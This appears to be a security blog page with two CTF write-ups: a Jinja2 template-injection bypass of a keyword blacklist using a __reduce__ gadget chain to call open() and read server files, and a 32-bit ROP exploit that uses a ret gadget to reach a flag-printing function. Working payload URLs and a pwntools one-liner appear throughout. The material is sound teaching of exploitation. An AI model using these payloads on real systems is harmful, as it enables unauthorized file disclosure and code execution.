Showing posts with label gadgets. Show all posts
Showing posts with label gadgets. Show all posts

Sunday, April 8, 2018

Byte Bandits CTF 2018 - hard_to_hack (400)



This was another Jinja2 template injection challenge (they've been showing up a lot recently).
This time they denied access to properties such as '__mro__' and '__class__' which show up in top python SSTI tutorials. Here's a good example of one - Exploring SSTI in Jinja2

There's another writeup on this blog about Jinja2 injection using a similar method found above, from the BSidesSF 2017 CTF - Zumbo3

For this challenge, since we didn't have the properties found in the articles above, we had to get creative. The best way to get started with this is to jump into a local python terminal.


Initial Bug


Before we get into building the payload, the initial bug was found on a route in the web app which printed a user controlled string (config is a global we can check for with Jinja2 templates):

GET http://web.euristica.in/hard_to_hack/index?data={{config}}

<Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'SESSION_REFRESH_EACH_REQUEST': True, 'LOGGER_HANDLER_POLICY': 'always', 'LOGGER_NAME': 'main', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': None, 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': True, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'PROPAGATE_EXCEPTIONS': None, 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': False, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_COOKIE_SECURE': False, 'TRAP_HTTP_EXCEPTIONS': False}>

In some challenges, this is all you need! They'll load the flag into the secrets or some other area of the Jinja2 config, and you're done, but not on this one. It must've been somewhere on the filesystem, so we'll need to call open or system somehow...

Some gadgets to watch out for:

<built-in function globals>   # check for any useful variables or flags in the global scope
<built-in function locals>    # check for any useful variables or flags in the local scope
<built-in function dir>       # introspect a python object, useful for finding other gadgets
<built-in function open>      # read a file from the file system, such as a flag or the main.py source
<module 'sys' (built-in)>     # leak 'version' of python or 'argv' used
<module 'os' from ' ... >     # run system commands using system() call
<module 'commands' ... >      # run system commands using getoutput() call
func_code                     # if this is available, it could leak the version of python used
func_globals                  # get access to a function's global variables
__builtins__                  # very useful standard functions pulled in by the python runtime
__reduce__ / __reduce_ex__    # create new code objects using pickle

This is not an exhaustive list, but some of these may be useful.


Python Reduce SSTI Gadget


Not sure if this technique has been used before, but it worked well on this challenge.

First we need a primitive type to call __reduce__ / __reduce_ex__ on. This was done by grabbing the __str__ value of an undefined variable (this could've been done on an int, str, object, etc.):

>>> x = None

>>> x.__reduce__(42)
(<function __newobj__ at 0x10038ac80>, (<type 'NoneType'>,), None, None, None)

>>> x.__reduce__(42)[0]
<function __newobj__ at 0x10038ac80>

>>> dir(a.__reduce__(42)[0])
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

Now we have some useful variables to play with, a couple nice ones for this challenge:

# Leak python version (good for syncing local version of python to dictionary value offsets):
>>> x.__reduce__(42)[0].func_code
<code object __newobj__ at 0x7fa69d4a7530, file "/usr/lib/python2.7/copy_reg.py", line 92>

# Function globals (good to use as gadgets)
>>> x.__reduce__(42)[0].func_globals.values()
[{}, <function add_extension at 0x7fa69d4a5c08>, <type 'classobj'>, {}, ...

Using .keys() and .values() on the object we can get a list of all the properties it has. If we index into these values, we'll be able to call any objects that exist in that dictionary.

For objects such as locals(), globals(), dir(), system(), vars() or open(), it provides us with a huge step forward.

Looking through this we can find the '__builtins__' key on index 12:

>>> x.__reduce__(42)[0].func_globals.keys()[12]
'__builtins__'

Using '__builtins__' and checking out the values, we can also see open, this will allow us to read any file the server has access to!

>>> x.__reduce__(42)[0].func_globals.values()[12].keys()
[..., 'LookupError', 'open', 'quit', 'basestring', ...]

>>> x.__reduce__(42)[0].func_globals.values()[12].values()[80]


The index for open is 80 here, where the server was 79, this sometimes differs, so you'll need to check the server when experimenting with these values.

Now we just use open and read in a stub flag for now:

$ echo -en 'FLAG{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}' > flag
$ python
>>> x = None
>>> x.__reduce__(42)[0].func_globals.values()[12].values()[80]('./flag').read()
'FLAG{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}'


Leaking the Source


Now trying this on the server was the same (with a small adjustment for the open index). It also seemed like a good idea to dump the source before leaving.

This was the result of finding the open() function in the function globals, reading in the server source:

{{x.__str__.__reduce__(42)[0].func_globals.values()[12].values()[79]('./main.py').read()}}

from flask import Flask , request, render_template,render_template_string

app=Flask(__name__)

@app.route('/')
def root():
    return render_template('home.html')

@app.route('/index',methods=['POST','GET'])
def homepage():
  data='{{4}}'

  blacklist = ['__class__','class','mro','subclass','request[','shutdown','SHUTDOWN','server']

  try:
    data=request.form['data']
  except:
    data=request.args.get('data')

  try:
    for bad_string in blacklist:
      if  bad_string in data:
        return '>h1<HACK ATTEMPT Detected>/h1<{}'
  except:
    return '>h1<Sigh! A request is needed with 'data' parameter'

  try:
    return render_template_string(data)
  except:
    return ('>h1<Please don\'t mess with me>/h1<')

if __name__ == '__main__':
  app.run(debug=True)



Final Payload


Running the last payload with './flag' on their web server we drop the final flag:

http://web.euristica.in/hard_to_hack/index?data={{x.__str__.__reduce__(42)[0].func_globals.values()[12].values()[79]('./flag').read()}}

flag{BlackListing_N3Ver_H3lp3d_An40ne}

(First Image in post from - http://www.taleofgenji.org/ota.html)

Sunday, April 1, 2018

SwampCTF 2018 - Apprentice's Return


This was a fun little intro challenge for the CTF. It adds a twist to the classic first step for beginners in exploit development.

One of the first ideas in exploitation is to change execution to a 'WIN' function, in this case 'slayTheBeast'.

Resources & Description:

For one such as yourself, apprentice to the arts of time manipulation, you must pass this first trial with a dreadful creature.

Connect:
nc chal1.swampctf.com 1802

-=Created By: TobalJackson=-

Here's the checksec listing:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

The 'doBattle' function will read 50 bytes onto the stack then check the first gadget against 0x8048595, which refers to the leave instruction in 'doBattle':


The comparison checks the first gadget is below or equal to 0x8048595 using jbe. If this comparison passes, we get to return to our ROP chain.

Inspecting 'slayTheBeast', we can see it just cat's the flag, but the addresses are all above the previous comparison (0x8048595):


To pass the initial check, we can find a simple gadget which just returns to another gadget, almost a NOP gadget if you will. Let's look for this using ropper:

[INFO] Load gadgets from cache
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret

[INFO] File: return
0x08048545: ret 0x2b76;
0x0804853e: ret 0x95b8;
0x0804847e: ret 0xeac1;
0x080485ea: ret 0xfffd;
0x0804835a: ret;

The last one satisfies our constraint and has a clean exit, let's use that (0x0804835a) in combination with the flag printing function (0x80485db):

$ python -c 'from pwn import *; print "A"*42 + p32(0x0804835a) + p32(0x80485db)' | ./return
As you stumble through the opening you are confronted with a nearly-immaterial horror: An Allip!  The beast lurches at you; quick! Tell me what you do:
Your actions take the Allip by surprise, causing it to falter in its attack!  You notice a weakness in the beasts form and see a glimmer of how it might be defeated.
Through expert manouvering of both body and mind, you lash out with your ethereal blade and pierce the beast's heart, slaying it.
As it shimmers and withers, you quickly remember to lean in and command it to relinquish its secret:
flag{fake_flag}
[1]    30162 done                              python -c 'from pwn import *; print "A"*42 + p32(0x0804835a) + p32(0x80485db) |
       30163 segmentation fault (core dumped)  ./return

(The fake flag was placed in the same directory before executing the exploit)

echo 'flag{fake_flag}' > flag.txt

Now we can try it against the live service:

$ python -c 'from pwn import *; print "A"*42 + p32(0x0804835a) + p32(0x80485db)' | nc chal1.swampctf.com 1802
As you stumble through the opening you are confronted with a nearly-immaterial horror: An Allip!  The beast lurches at you; quick! Tell me what you do:

Your actions take the Allip by surprise, causing it to falter in its attack!  You notice a weakness in the beasts form and see a glimmer of how it might be defeated.
Through expert manouvering of both body and mind, you lash out with your ethereal blade and pierce the beast's heart, slaying it.
As it shimmers and withers, you quickly remember to lean in and command it to relinquish its secret:
...

And we've got the flag! Fear not the ancient ROPnique:

flag{f34r_n0t_th3_4nc13n7_R0pn1qu3}

Art on top is from http://www.dungeonsanddrawings.com/